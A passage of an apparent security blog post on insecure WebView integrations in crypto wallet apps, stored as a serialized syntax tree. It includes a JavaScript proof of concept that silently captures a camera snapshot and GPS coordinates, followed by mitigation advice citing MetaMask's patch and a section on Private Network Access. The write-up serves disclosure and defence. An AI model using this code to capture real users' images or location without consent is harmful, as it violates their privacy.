g":230,"props":158992,"children":158993},{"class":232,"line":462},[158994,158998,159002,159006,159010,159015],{"type":23,"tag":230,"props":158995,"children":158996},{"style":34669},[158997],{"type":29,"value":34738},{"type":23,"tag":230,"props":158999,"children":159000},{"style":256},[159001],{"type":29,"value":93},{"type":23,"tag":230,"props":159003,"children":159004},{"style":262},[159005],{"type":29,"value":34748},{"type":23,"tag":230,"props":159007,"children":159008},{"style":274},[159009],{"type":29,"value":863},{"type":23,"tag":230,"props":159011,"children":159012},{"style":380},[159013],{"type":29,"value":159014},"\"pic\"",{"type":23,"tag":230,"props":159016,"children":159017},{"style":34669},[159018],{"type":29,"value":8329},{"type":23,"tag":230,"props":159020,"children":159021},{"class":232,"line":471},[159022,159026,159030],{"type":23,"tag":230,"props":159023,"children":159024},{"style":34669},[159025],{"type":29,"value":34738},{"type":23,"tag":230,"props":159027,"children":159028},{"style":256},[159029],{"type":29,"value":34708},{"type":23,"tag":230,"props":159031,"children":159032},{"style":34669},[159033],{"type":29,"value":8329},{"type":23,"tag":230,"props":159035,"children":159036},{"class":232,"line":500},[159037,159042,159046,159051,159055,159060,159064,159068,159072,159076],{"type":23,"tag":230,"props":159038,"children":159039},{"style":262},[159040],{"type":29,"value":159041},"        window",{"type":23,"tag":230,"props":159043,"children":159044},{"style":268},[159045],{"type":29,"value":312},{"type":23,"tag":230,"props":159047,"children":159048},{"style":294},[159049],{"type":29,"value":159050},"addEventListener",{"type":23,"tag":230,"props":159052,"children":159053},{"style":268},[159054],{"type":29,"value":302},{"type":23,"tag":230,"props":159056,"children":159057},{"style":380},[159058],{"type":29,"value":159059},"'unhandledrejection'",{"type":23,"tag":230,"props":159061,"children":159062},{"style":268},[159063],{"type":29,"value":684},{"type":23,"tag":230,"props":159065,"children":159066},{"style":256},[159067],{"type":29,"value":3381},{"type":23,"tag":230,"props":159069,"children":159070},{"style":268},[159071],{"type":29,"value":664},{"type":23,"tag":230,"props":159073,"children":159074},{"style":262},[159075],{"type":29,"value":83907},{"type":23,"tag":230,"props":159077,"children":159078},{"style":268},[159079],{"type":29,"value":827},{"type":23,"tag":230,"props":159081,"children":159082},{"class":232,"line":514},[159083,159088,159092,159097,159101,159105,159109,159114,159118,159122],{"type":23,"tag":230,"props":159084,"children":159085},{"style":294},[159086],{"type":29,"value":159087},"            alert",{"type":23,"tag":230,"props":159089,"children":159090},{"style":268},[159091],{"type":29,"value":302},{"type":23,"tag":230,"props":159093,"children":159094},{"style":380},[159095],{"type":29,"value":159096},"`Unhandled Promise Rejection: ",{"type":23,"tag":230,"props":159098,"children":159099},{"style":256},[159100],{"type":29,"value":632},{"type":23,"tag":230,"props":159102,"children":159103},{"style":262},[159104],{"type":29,"value":83907},{"type":23,"tag":230,"props":159106,"children":159107},{"style":268},[159108],{"type":29,"value":312},{"type":23,"tag":230,"props":159110,"children":159111},{"style":262},[159112],{"type":29,"value":159113},"reason",{"type":23,"tag":230,"props":159115,"children":159116},{"style":256},[159117],{"type":29,"value":642},{"type":23,"tag":230,"props":159119,"children":159120},{"style":380},[159121],{"type":29,"value":12712},{"type":23,"tag":230,"props":159123,"children":159124},{"style":268},[159125],{"type":29,"value":753},{"type":23,"tag":230,"props":159127,"children":159128},{"class":232,"line":897},[159129],{"type":23,"tag":230,"props":159130,"children":159131},{"style":268},[159132],{"type":29,"value":159133},"        });\n",{"type":23,"tag":230,"props":159135,"children":159136},{"class":232,"line":960},[159137,159141,159145,159149,159153,159157,159161,159165,159169,159173,159177,159181,159185,159190,159194,159198],{"type":23,"tag":230,"props":159138,"children":159139},{"style":262},[159140],{"type":29,"value":159041},{"type":23,"tag":230,"props":159142,"children":159143},{"style":268},[159144],{"type":29,"value":312},{"type":23,"tag":230,"props":159146,"children":159147},{"style":294},[159148],{"type":29,"value":34981},{"type":23,"tag":230,"props":159150,"children":159151},{"style":268},[159152],{"type":29,"value":35204},{"type":23,"tag":230,"props":159154,"children":159155},{"style":256},[159156],{"type":29,"value":3381},{"type":23,"tag":230,"props":159158,"children":159159},{"style":268},[159160],{"type":29,"value":664},{"type":23,"tag":230,"props":159162,"children":159163},{"style":262},[159164],{"type":29,"value":59720},{"type":23,"tag":230,"props":159166,"children":159167},{"style":268},[159168],{"type":29,"value":684},{"type":23,"tag":230,"props":159170,"children":159171},{"style":262},[159172],{"type":29,"value":72154},{"type":23,"tag":230,"props":159174,"children":159175},{"style":268},[159176],{"type":29,"value":684},{"type":23,"tag":230,"props":159178,"children":159179},{"style":262},[159180],{"type":29,"value":232},{"type":23,"tag":230,"props":159182,"children":159183},{"style":268},[159184],{"type":29,"value":684},{"type":23,"tag":230,"props":159186,"children":159187},{"style":262},[159188],{"type":29,"value":159189},"col",{"type":23,"tag":230,"props":159191,"children":159192},{"style":268},[159193],{"type":29,"value":684},{"type":23,"tag":230,"props":159195,"children":159196},{"style":262},[159197],{"type":29,"value":17189},{"type":23,"tag":230,"props":159199,"children":159200},{"style":268},[159201],{"type":29,"value":827},{"type":23,"tag":230,"props":159203,"children":159204},{"class":232,"line":969},[159205,159209,159213,159218,159222,159226],{"type":23,"tag":230,"props":159206,"children":159207},{"style":294},[159208],{"type":29,"value":159087},{"type":23,"tag":230,"props":159210,"children":159211},{"style":268},[159212],{"type":29,"value":302},{"type":23,"tag":230,"props":159214,"children":159215},{"style":380},[159216],{"type":29,"value":159217},"'onerror: '",{"type":23,"tag":230,"props":159219,"children":159220},{"style":268},[159221],{"type":29,"value":36984},{"type":23,"tag":230,"props":159223,"children":159224},{"style":262},[159225],{"type":29,"value":59720},{"type":23,"tag":230,"props":159227,"children":159228},{"style":268},[159229],{"type":29,"value":753},{"type":23,"tag":230,"props":159231,"children":159232},{"class":232,"line":4526},[159233,159237,159241],{"type":23,"tag":230,"props":159234,"children":159235},{"style":866},[159236],{"type":29,"value":80855},{"type":23,"tag":230,"props":159238,"children":159239},{"style":256},[159240],{"type":29,"value":11391},{"type":23,"tag":230,"props":159242,"children":159243},{"style":268},[159244],{"type":29,"value":511},{"type":23,"tag":230,"props":159246,"children":159247},{"class":232,"line":4534},[159248],{"type":23,"tag":230,"props":159249,"children":159250},{"style":268},[159251],{"type":29,"value":159252},"        };\n",{"type":23,"tag":230,"props":159254,"children":159255},{"class":232,"line":4542},[159256],{"type":23,"tag":230,"props":159257,"children":159258},{"emptyLinePlaceholder":18},[159259],{"type":29,"value":459},{"type":23,"tag":230,"props":159261,"children":159262},{"class":232,"line":4559},[159263,159268,159272,159276],{"type":23,"tag":230,"props":159264,"children":159265},{"style":256},[159266],{"type":29,"value":159267},"        async",{"type":23,"tag":230,"props":159269,"children":159270},{"style":256},[159271],{"type":29,"value":2903},{"type":23,"tag":230,"props":159273,"children":159274},{"style":294},[159275],{"type":29,"value":92559},{"type":23,"tag":230,"props":159277,"children":159278},{"style":268},[159279],{"type":29,"value":18061},{"type":23,"tag":230,"props":159281,"children":159282},{"class":232,"line":4587},[159283,159287,159292,159296,159300,159305,159309,159314,159318,159323,159327,159332,159336],{"type":23,"tag":230,"props":159284,"children":159285},{"style":256},[159286],{"type":29,"value":152813},{"type":23,"tag":230,"props":159288,"children":159289},{"style":262},[159290],{"type":29,"value":159291}," stream",{"type":23,"tag":230,"props":159293,"children":159294},{"style":268},[159295],{"type":29,"value":35204},{"type":23,"tag":230,"props":159297,"children":159298},{"style":866},[159299],{"type":29,"value":2640},{"type":23,"tag":230,"props":159301,"children":159302},{"style":262},[159303],{"type":29,"value":159304}," navigator",{"type":23,"tag":230,"props":159306,"children":159307},{"style":268},[159308],{"type":29,"value":312},{"type":23,"tag":230,"props":159310,"children":159311},{"style":262},[159312],{"type":29,"value":159313},"mediaDevices",{"type":23,"tag":230,"props":159315,"children":159316},{"style":268},[159317],{"type":29,"value":312},{"type":23,"tag":230,"props":159319,"children":159320},{"style":294},[159321],{"type":29,"value":159322},"getUserMedia",{"type":23,"tag":230,"props":159324,"children":159325},{"style":268},[159326],{"type":29,"value":3519},{"type":23,"tag":230,"props":159328,"children":159329},{"style":262},[159330],{"type":29,"value":159331},"video:",{"type":23,"tag":230,"props":159333,"children":159334},{"style":256},[159335],{"type":29,"value":14799},{"type":23,"tag":230,"props":159337,"children":159338},{"style":268},[159339],{"type":29,"value":3534},{"type":23,"tag":230,"props":159341,"children":159342},{"class":232,"line":4595},[159343,159347,159352,159356,159360,159364,159368,159372,159377],{"type":23,"tag":230,"props":159344,"children":159345},{"style":256},[159346],{"type":29,"value":152813},{"type":23,"tag":230,"props":159348,"children":159349},{"style":262},[159350],{"type":29,"value":159351}," video",{"type":23,"tag":230,"props":159353,"children":159354},{"style":268},[159355],{"type":29,"value":35204},{"type":23,"tag":230,"props":159357,"children":159358},{"style":262},[159359],{"type":29,"value":35000},{"type":23,"tag":230,"props":159361,"children":159362},{"style":268},[159363],{"type":29,"value":312},{"type":23,"tag":230,"props":159365,"children":159366},{"style":294},[159367],{"type":29,"value":1389},{"type":23,"tag":230,"props":159369,"children":159370},{"style":268},[159371],{"type":29,"value":302},{"type":23,"tag":230,"props":159373,"children":159374},{"style":380},[159375],{"type":29,"value":159376},"\"video\"",{"type":23,"tag":230,"props":159378,"children":159379},{"style":268},[159380],{"type":29,"value":753},{"type":23,"tag":230,"props":159382,"children":159383},{"class":232,"line":4619},[159384,159389,159393,159398,159402,159406],{"type":23,"tag":230,"props":159385,"children":159386},{"style":262},[159387],{"type":29,"value":159388},"            video",{"type":23,"tag":230,"props":159390,"children":159391},{"style":268},[159392],{"type":29,"value":312},{"type":23,"tag":230,"props":159394,"children":159395},{"style":262},[159396],{"type":29,"value":159397},"srcObject",{"type":23,"tag":230,"props":159399,"children":159400},{"style":268},[159401],{"type":29,"value":35204},{"type":23,"tag":230,"props":159403,"children":159404},{"style":262},[159405],{"type":29,"value":920},{"type":23,"tag":230,"props":159407,"children":159408},{"style":268},[159409],{"type":29,"value":511},{"type":23,"tag":230,"props":159411,"children":159412},{"class":232,"line":4627},[159413,159417,159422,159426,159430,159434,159438,159442,159447],{"type":23,"tag":230,"props":159414,"children":159415},{"style":256},[159416],{"type":29,"value":152813},{"type":23,"tag":230,"props":159418,"children":159419},{"style":262},[159420],{"type":29,"value":159421}," canvas",{"type":23,"tag":230,"props":159423,"children":159424},{"style":268},[159425],{"type":29,"value":35204},{"type":23,"tag":230,"props":159427,"children":159428},{"style":262},[159429],{"type":29,"value":35000},{"type":23,"tag":230,"props":159431,"children":159432},{"style":268},[159433],{"type":29,"value":312},{"type":23,"tag":230,"props":159435,"children":159436},{"style":294},[159437],{"type":29,"value":1389},{"type":23,"tag":230,"props":159439,"children":159440},{"style":268},[159441],{"type":29,"value":302},{"type":23,"tag":230,"props":159443,"children":159444},{"style":380},[159445],{"type":29,"value":159446},"\"canvas\"",{"type":23,"tag":230,"props":159448,"children":159449},{"style":268},[159450],{"type":29,"value":753},{"type":23,"tag":230,"props":159452,"children":159453},{"class":232,"line":4659},[159454],{"type":23,"tag":230,"props":159455,"children":159456},{"emptyLinePlaceholder":18},[159457],{"type":29,"value":459},{"type":23,"tag":230,"props":159459,"children":159460},{"class":232,"line":4671},[159461,159465,159469,159474,159479,159483],{"type":23,"tag":230,"props":159462,"children":159463},{"style":262},[159464],{"type":29,"value":159388},{"type":23,"tag":230,"props":159466,"children":159467},{"style":268},[159468],{"type":29,"value":312},{"type":23,"tag":230,"props":159470,"children":159471},{"style":294},[159472],{"type":29,"value":159473},"onloadedmetadata",{"type":23,"tag":230,"props":159475,"children":159476},{"style":268},[159477],{"type":29,"value":159478}," = () ",{"type":23,"tag":230,"props":159480,"children":159481},{"style":256},[159482],{"type":29,"value":2671},{"type":23,"tag":230,"props":159484,"children":159485},{"style":268},[159486],{"type":29,"value":277},{"type":23,"tag":230,"props":159488,"children":159489},{"class":232,"line":4688},[159490,159495,159499,159504,159508,159512,159516,159521],{"type":23,"tag":230,"props":159491,"children":159492},{"style":262},[159493],{"type":29,"value":159494},"                canvas",{"type":23,"tag":230,"props":159496,"children":159497},{"style":268},[159498],{"type":29,"value":312},{"type":23,"tag":230,"props":159500,"children":159501},{"style":262},[159502],{"type":29,"value":159503},"width",{"type":23,"tag":230,"props":159505,"children":159506},{"style":268},[159507],{"type":29,"value":35204},{"type":23,"tag":230,"props":159509,"children":159510},{"style":262},[159511],{"type":29,"value":133637},{"type":23,"tag":230,"props":159513,"children":159514},{"style":268},[159515],{"type":29,"value":312},{"type":23,"tag":230,"props":159517,"children":159518},{"style":262},[159519],{"type":29,"value":159520},"videoWidth",{"type":23,"tag":230,"props":159522,"children":159523},{"style":268},[159524],{"type":29,"value":511},{"type":23,"tag":230,"props":159526,"children":159527},{"class":232,"line":4701},[159528,159532,159536,159541,159545,159549,159553,159558],{"type":23,"tag":230,"props":159529,"children":159530},{"style":262},[159531],{"type":29,"value":159494},{"type":23,"tag":230,"props":159533,"children":159534},{"style":268},[159535],{"type":29,"value":312},{"type":23,"tag":230,"props":159537,"children":159538},{"style":262},[159539],{"type":29,"value":159540},"height",{"type":23,"tag":230,"props":159542,"children":159543},{"style":268},[159544],{"type":29,"value":35204},{"type":23,"tag":230,"props":159546,"children":159547},{"style":262},[159548],{"type":29,"value":133637},{"type":23,"tag":230,"props":159550,"children":159551},{"style":268},[159552],{"type":29,"value":312},{"type":23,"tag":230,"props":159554,"children":159555},{"style":262},[159556],{"type":29,"value":159557},"videoHeight",{"type":23,"tag":230,"props":159559,"children":159560},{"style":268},[159561],{"type":29,"value":511},{"type":23,"tag":230,"props":159563,"children":159564},{"class":232,"line":4724},[159565],{"type":23,"tag":230,"props":159566,"children":159567},{"style":268},[159568],{"type":29,"value":49846},{"type":23,"tag":230,"props":159570,"children":159571},{"class":232,"line":4741},[159572],{"type":23,"tag":230,"props":159573,"children":159574},{"emptyLinePlaceholder":18},[159575],{"type":29,"value":459},{"type":23,"tag":230,"props":159577,"children":159578},{"class":232,"line":4759},[159579,159584,159588,159593,159597,159601,159605],{"type":23,"tag":230,"props":159580,"children":159581},{"style":262},[159582],{"type":29,"value":159583},"            connect",{"type":23,"tag":230,"props":159585,"children":159586},{"style":268},[159587],{"type":29,"value":312},{"type":23,"tag":230,"props":159589,"children":159590},{"style":294},[159591],{"type":29,"value":159592},"onclick",{"type":23,"tag":230,"props":159594,"children":159595},{"style":268},[159596],{"type":29,"value":35204},{"type":23,"tag":230,"props":159598,"children":159599},{"style":262},[159600],{"type":29,"value":53227},{"type":23,"tag":230,"props":159602,"children":159603},{"style":256},[159604],{"type":29,"value":30060},{"type":23,"tag":230,"props":159606,"children":159607},{"style":268},[159608],{"type":29,"value":277},{"type":23,"tag":230,"props":159610,"children":159611},{"class":232,"line":4768},[159612,159617,159621,159626],{"type":23,"tag":230,"props":159613,"children":159614},{"style":262},[159615],{"type":29,"value":159616},"                video",{"type":23,"tag":230,"props":159618,"children":159619},{"style":268},[159620],{"type":29,"value":312},{"type":23,"tag":230,"props":159622,"children":159623},{"style":294},[159624],{"type":29,"value":159625},"play",{"type":23,"tag":230,"props":159627,"children":159628},{"style":268},[159629],{"type":29,"value":2140},{"type":23,"tag":230,"props":159631,"children":159632},{"class":232,"line":4776},[159633],{"type":23,"tag":230,"props":159634,"children":159635},{"emptyLinePlaceholder":18},[159636],{"type":29,"value":459},{"type":23,"tag":230,"props":159638,"children":159639},{"class":232,"line":4784},[159640,159644,159648,159653,159657,159662,159666,159671,159675,159679,159683,159687,159691,159695],{"type":23,"tag":230,"props":159641,"children":159642},{"style":262},[159643],{"type":29,"value":159494},{"type":23,"tag":230,"props":159645,"children":159646},{"style":268},[159647],{"type":29,"value":312},{"type":23,"tag":230,"props":159649,"children":159650},{"style":294},[159651],{"type":29,"value":159652},"getContext",{"type":23,"tag":230,"props":159654,"children":159655},{"style":268},[159656],{"type":29,"value":302},{"type":23,"tag":230,"props":159658,"children":159659},{"style":380},[159660],{"type":29,"value":159661},"\"2d\"",{"type":23,"tag":230,"props":159663,"children":159664},{"style":268},[159665],{"type":29,"value":23057},{"type":23,"tag":230,"props":159667,"children":159668},{"style":294},[159669],{"type":29,"value":159670},"drawImage",{"type":23,"tag":230,"props":159672,"children":159673},{"style":268},[159674],{"type":29,"value":302},{"type":23,"tag":230,"props":159676,"children":159677},{"style":262},[159678],{"type":29,"value":133637},{"type":23,"tag":230,"props":159680,"children":159681},{"style":268},[159682],{"type":29,"value":684},{"type":23,"tag":230,"props":159684,"children":159685},{"style":5149},[159686],{"type":29,"value":6358},{"type":23,"tag":230,"props":159688,"children":159689},{"style":268},[159690],{"type":29,"value":684},{"type":23,"tag":230,"props":159692,"children":159693},{"style":5149},[159694],{"type":29,"value":6358},{"type":23,"tag":230,"props":159696,"children":159697},{"style":268},[159698],{"type":29,"value":753},{"type":23,"tag":230,"props":159700,"children":159701},{"class":232,"line":4792},[159702,159707,159711,159716,159720,159725,159729,159733,159737,159742,159746,159751],{"type":23,"tag":230,"props":159703,"children":159704},{"style":262},[159705],{"type":29,"value":159706},"                stream",{"type":23,"tag":230,"props":159708,"children":159709},{"style":268},[159710],{"type":29,"value":312},{"type":23,"tag":230,"props":159712,"children":159713},{"style":294},[159714],{"type":29,"value":159715},"getTracks",{"type":23,"tag":230,"props":159717,"children":159718},{"style":268},[159719],{"type":29,"value":32475},{"type":23,"tag":230,"props":159721,"children":159722},{"style":294},[159723],{"type":29,"value":159724},"forEach",{"type":23,"tag":230,"props":159726,"children":159727},{"style":268},[159728],{"type":29,"value":302},{"type":23,"tag":230,"props":159730,"children":159731},{"style":262},[159732],{"type":29,"value":24044},{"type":23,"tag":230,"props":159734,"children":159735},{"style":256},[159736],{"type":29,"value":30060},{"type":23,"tag":230,"props":159738,"children":159739},{"style":262},[159740],{"type":29,"value":159741}," t",{"type":23,"tag":230,"props":159743,"children":159744},{"style":268},[159745],{"type":29,"value":312},{"type":23,"tag":230,"props":159747,"children":159748},{"style":294},[159749],{"type":29,"value":159750},"stop",{"type":23,"tag":230,"props":159752,"children":159753},{"style":268},[159754],{"type":29,"value":17749},{"type":23,"tag":230,"props":159756,"children":159757},{"class":232,"line":4824},[159758,159762,159766,159771,159775,159779,159783,159787],{"type":23,"tag":230,"props":159759,"children":159760},{"style":262},[159761],{"type":29,"value":159494},{"type":23,"tag":230,"props":159763,"children":159764},{"style":268},[159765],{"type":29,"value":312},{"type":23,"tag":230,"props":159767,"children":159768},{"style":294},[159769],{"type":29,"value":159770},"toBlob",{"type":23,"tag":230,"props":159772,"children":159773},{"style":268},[159774],{"type":29,"value":33821},{"type":23,"tag":230,"props":159776,"children":159777},{"style":262},[159778],{"type":29,"value":35240},{"type":23,"tag":230,"props":159780,"children":159781},{"style":268},[159782],{"type":29,"value":703},{"type":23,"tag":230,"props":159784,"children":159785},{"style":256},[159786],{"type":29,"value":2671},{"type":23,"tag":230,"props":159788,"children":159789},{"style":268},[159790],{"type":29,"value":277},{"type":23,"tag":230,"props":159792,"children":159793},{"class":232,"line":4832},[159794,159799,159803,159807,159811,159816,159820,159825,159829,159833],{"type":23,"tag":230,"props":159795,"children":159796},{"style":262},[159797],{"type":29,"value":159798},"                    pic",{"type":23,"tag":230,"props":159800,"children":159801},{"style":268},[159802],{"type":29,"value":312},{"type":23,"tag":230,"props":159804,"children":159805},{"style":262},[159806],{"type":29,"value":34962},{"type":23,"tag":230,"props":159808,"children":159809},{"style":268},[159810],{"type":29,"value":35204},{"type":23,"tag":230,"props":159812,"children":159813},{"style":262},[159814],{"type":29,"value":159815},"URL",{"type":23,"tag":230,"props":159817,"children":159818},{"style":268},[159819],{"type":29,"value":312},{"type":23,"tag":230,"props":159821,"children":159822},{"style":294},[159823],{"type":29,"value":159824},"createObjectURL",{"type":23,"tag":230,"props":159826,"children":159827},{"style":268},[159828],{"type":29,"value":302},{"type":23,"tag":230,"props":159830,"children":159831},{"style":262},[159832],{"type":29,"value":35240},{"type":23,"tag":230,"props":159834,"children":159835},{"style":268},[159836],{"type":29,"value":753},{"type":23,"tag":230,"props":159838,"children":159839},{"class":232,"line":4840},[159840],{"type":23,"tag":230,"props":159841,"children":159842},{"style":268},[159843],{"type":29,"value":159844},"                });\n",{"type":23,"tag":230,"props":159846,"children":159847},{"class":232,"line":4901},[159848],{"type":23,"tag":230,"props":159849,"children":159850},{"emptyLinePlaceholder":18},[159851],{"type":29,"value":459},{"type":23,"tag":230,"props":159853,"children":159854},{"class":232,"line":4909},[159855,159860,159864,159869,159873,159878,159882,159887,159891],{"type":23,"tag":230,"props":159856,"children":159857},{"style":262},[159858],{"type":29,"value":159859},"                navigator",{"type":23,"tag":230,"props":159861,"children":159862},{"style":268},[159863],{"type":29,"value":312},{"type":23,"tag":230,"props":159865,"children":159866},{"style":262},[159867],{"type":29,"value":159868},"geolocation",{"type":23,"tag":230,"props":159870,"children":159871},{"style":268},[159872],{"type":29,"value":312},{"type":23,"tag":230,"props":159874,"children":159875},{"style":294},[159876],{"type":29,"value":159877},"getCurrentPosition",{"type":23,"tag":230,"props":159879,"children":159880},{"style":268},[159881],{"type":29,"value":302},{"type":23,"tag":230,"props":159883,"children":159884},{"style":262},[159885],{"type":29,"value":159886},"pos",{"type":23,"tag":230,"props":159888,"children":159889},{"style":256},[159890],{"type":29,"value":30060},{"type":23,"tag":230,"props":159892,"children":159893},{"style":268},[159894],{"type":29,"value":277},{"type":23,"tag":230,"props":159896,"children":159897},{"class":232,"line":4938},[159898,159903,159907,159911,159915,159919,159924],{"type":23,"tag":230,"props":159899,"children":159900},{"style":256},[159901],{"type":29,"value":159902},"                    const",{"type":23,"tag":230,"props":159904,"children":159905},{"style":262},[159906],{"type":29,"value":2122},{"type":23,"tag":230,"props":159908,"children":159909},{"style":268},[159910],{"type":29,"value":35204},{"type":23,"tag":230,"props":159912,"children":159913},{"style":262},[159914],{"type":29,"value":159886},{"type":23,"tag":230,"props":159916,"children":159917},{"style":268},[159918],{"type":29,"value":312},{"type":23,"tag":230,"props":159920,"children":159921},{"style":262},[159922],{"type":29,"value":159923},"coords",{"type":23,"tag":230,"props":159925,"children":159926},{"style":268},[159927],{"type":29,"value":511},{"type":23,"tag":230,"props":159929,"children":159930},{"class":232,"line":4957},[159931,159936,159940,159944,159948,159953,159957,159961,159965,159970,159974,159979,159983,159987,159991,159995,159999,160004,160008,160012,160016,160021,160025,160029,160033,160037,160041,160045,160049],{"type":23,"tag":230,"props":159932,"children":159933},{"style":262},[159934],{"type":29,"value":159935},"                    gps",{"type":23,"tag":230,"props":159937,"children":159938},{"style":268},[159939],{"type":29,"value":312},{"type":23,"tag":230,"props":159941,"children":159942},{"style":262},[159943],{"type":29,"value":37251},{"type":23,"tag":230,"props":159945,"children":159946},{"style":268},[159947],{"type":29,"value":35204},{"type":23,"tag":230,"props":159949,"children":159950},{"style":380},[159951],{"type":29,"value":159952},"`Lat: ",{"type":23,"tag":230,"props":159954,"children":159955},{"style":256},[159956],{"type":29,"value":632},{"type":23,"tag":230,"props":159958,"children":159959},{"style":262},[159960],{"type":29,"value":2148},{"type":23,"tag":230,"props":159962,"children":159963},{"style":268},[159964],{"type":29,"value":312},{"type":23,"tag":230,"props":159966,"children":159967},{"style":262},[159968],{"type":29,"value":159969},"latitude",{"type":23,"tag":230,"props":159971,"children":159972},{"style":268},[159973],{"type":29,"value":312},{"type":23,"tag":230,"props":159975,"children":159976},{"style":294},[159977],{"type":29,"value":159978},"toFixed",{"type":23,"tag":230,"props":159980,"children":159981},{"style":268},[159982],{"type":29,"value":302},{"type":23,"tag":230,"props":159984,"children":159985},{"style":5149},[159986],{"type":29,"value":6348},{"type":23,"tag":230,"props":159988,"children":159989},{"style":268},[159990],{"type":29,"value":5467},{"type":23,"tag":230,"props":159992,"children":159993},{"style":256},[159994],{"type":29,"value":642},{"type":23,"tag":230,"props":159996,"children":159997},{"style":50145},[159998],{"type":29,"value":50148},{"type":23,"tag":230,"props":160000,"children":160001},{"style":380},[160002],{"type":29,"value":160003},"Lon: ",{"type":23,"tag":230,"props":160005,"children":160006},{"style":256},[160007],{"type":29,"value":632},{"type":23,"tag":230,"props":160009,"children":160010},{"style":262},[160011],{"type":29,"value":2148},{"type":23,"tag":230,"props":160013,"children":160014},{"style":268},[160015],{"type":29,"value":312},{"type":23,"tag":230,"props":160017,"children":160018},{"style":262},[160019],{"type":29,"value":160020},"longitude",{"type":23,"tag":230,"props":160022,"children":160023},{"style":268},[160024],{"type":29,"value":312},{"type":23,"tag":230,"props":160026,"children":160027},{"style":294},[160028],{"type":29,"value":159978},{"type":23,"tag":230,"props":160030,"children":160031},{"style":268},[160032],{"type":29,"value":302},{"type":23,"tag":230,"props":160034,"children":160035},{"style":5149},[160036],{"type":29,"value":6348},{"type":23,"tag":230,"props":160038,"children":160039},{"style":268},[160040],{"type":29,"value":5467},{"type":23,"tag":230,"props":160042,"children":160043},{"style":256},[160044],{"type":29,"value":642},{"type":23,"tag":230,"props":160046,"children":160047},{"style":380},[160048],{"type":29,"value":12712},{"type":23,"tag":230,"props":160050,"children":160051},{"style":268},[160052],{"type":29,"value":511},{"type":23,"tag":230,"props":160054,"children":160055},{"class":232,"line":4973},[160056,160061,160065,160069,160074,160078,160082],{"type":23,"tag":230,"props":160057,"children":160058},{"style":268},[160059],{"type":29,"value":160060},"                }, ",{"type":23,"tag":230,"props":160062,"children":160063},{"style":262},[160064],{"type":29,"value":50192},{"type":23,"tag":230,"props":160066,"children":160067},{"style":256},[160068],{"type":29,"value":30060},{"type":23,"tag":230,"props":160070,"children":160071},{"style":294},[160072],{"type":29,"value":160073}," alert",{"type":23,"tag":230,"props":160075,"children":160076},{"style":268},[160077],{"type":29,"value":302},{"type":23,"tag":230,"props":160079,"children":160080},{"style":262},[160081],{"type":29,"value":50192},{"type":23,"tag":230,"props":160083,"children":160084},{"style":268},[160085],{"type":29,"value":9559},{"type":23,"tag":230,"props":160087,"children":160088},{"class":232,"line":4990},[160089],{"type":23,"tag":230,"props":160090,"children":160091},{"style":268},[160092],{"type":29,"value":49846},{"type":23,"tag":230,"props":160094,"children":160095},{"class":232,"line":5006},[160096],{"type":23,"tag":230,"props":160097,"children":160098},{"emptyLinePlaceholder":18},[160099],{"type":29,"value":459},{"type":23,"tag":230,"props":160101,"children":160102},{"class":232,"line":5019},[160103],{"type":23,"tag":230,"props":160104,"children":160105},{"style":268},[160106],{"type":29,"value":5686},{"type":23,"tag":230,"props":160108,"children":160109},{"class":232,"line":5050},[160110,160115],{"type":23,"tag":230,"props":160111,"children":160112},{"style":294},[160113],{"type":29,"value":160114},"        main",{"type":23,"tag":230,"props":160116,"children":160117},{"style":268},[160118],{"type":29,"value":2140},{"type":23,"tag":230,"props":160120,"children":160121},{"class":232,"line":5058},[160122,160126,160130],{"type":23,"tag":230,"props":160123,"children":160124},{"style":34669},[160125],{"type":29,"value":35121},{"type":23,"tag":230,"props":160127,"children":160128},{"style":256},[160129],{"type":29,"value":34708},{"type":23,"tag":230,"props":160131,"children":160132},{"style":34669},[160133],{"type":29,"value":8329},{"type":23,"tag":230,"props":160135,"children":160136},{"class":232,"line":26228},[160137,160141,160145],{"type":23,"tag":230,"props":160138,"children":160139},{"style":34669},[160140],{"type":29,"value":34722},{"type":23,"tag":230,"props":160142,"children":160143},{"style":256},[160144],{"type":29,"value":1606},{"type":23,"tag":230,"props":160146,"children":160147},{"style":34669},[160148],{"type":29,"value":8329},{"type":23,"tag":230,"props":160150,"children":160151},{"class":232,"line":34574},[160152,160156,160160],{"type":23,"tag":230,"props":160153,"children":160154},{"style":34669},[160155],{"type":29,"value":34722},{"type":23,"tag":230,"props":160157,"children":160158},{"style":256},[160159],{"type":29,"value":34676},{"type":23,"tag":230,"props":160161,"children":160162},{"style":34669},[160163],{"type":29,"value":8329},{"type":23,"tag":192,"props":160165,"children":160166},{"id":6563},[160167],{"type":29,"value":6566},{"type":23,"tag":32,"props":160169,"children":160170},{},[160171],{"type":29,"value":160172},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":23,"tag":32,"props":160174,"children":160175},{},[160176,160178,160184],{"type":29,"value":160177},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":23,"tag":181,"props":160179,"children":160182},{"href":160180,"rel":160181},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[185],[160183],{"type":29,"value":49356},{"type":29,"value":312},{"type":23,"tag":33652,"props":160186,"children":160187},{"style":33654},[160188],{"type":23,"tag":93,"props":160189,"children":160193},{"src":160190,"alt":160191,"style":160192},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":23,"tag":32,"props":160195,"children":160196},{},[160197],{"type":29,"value":160198},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":23,"tag":24,"props":160200,"children":160202},{"id":160201},"local-network-access",[160203],{"type":29,"value":160204},"Local Network Access",{"type":23,"tag":32,"props":160206,"children":160207},{},[160208,160210,160217,160219,160225],{"type":29,"value":160209},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":23,"tag":181,"props":160211,"children":160214},{"href":160212,"rel":160213},"https://wicg.github.io/private-network-access/",[185],[160215],{"type":29,"value":160216},"Private Network Access",{"type":29,"value":160218}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing 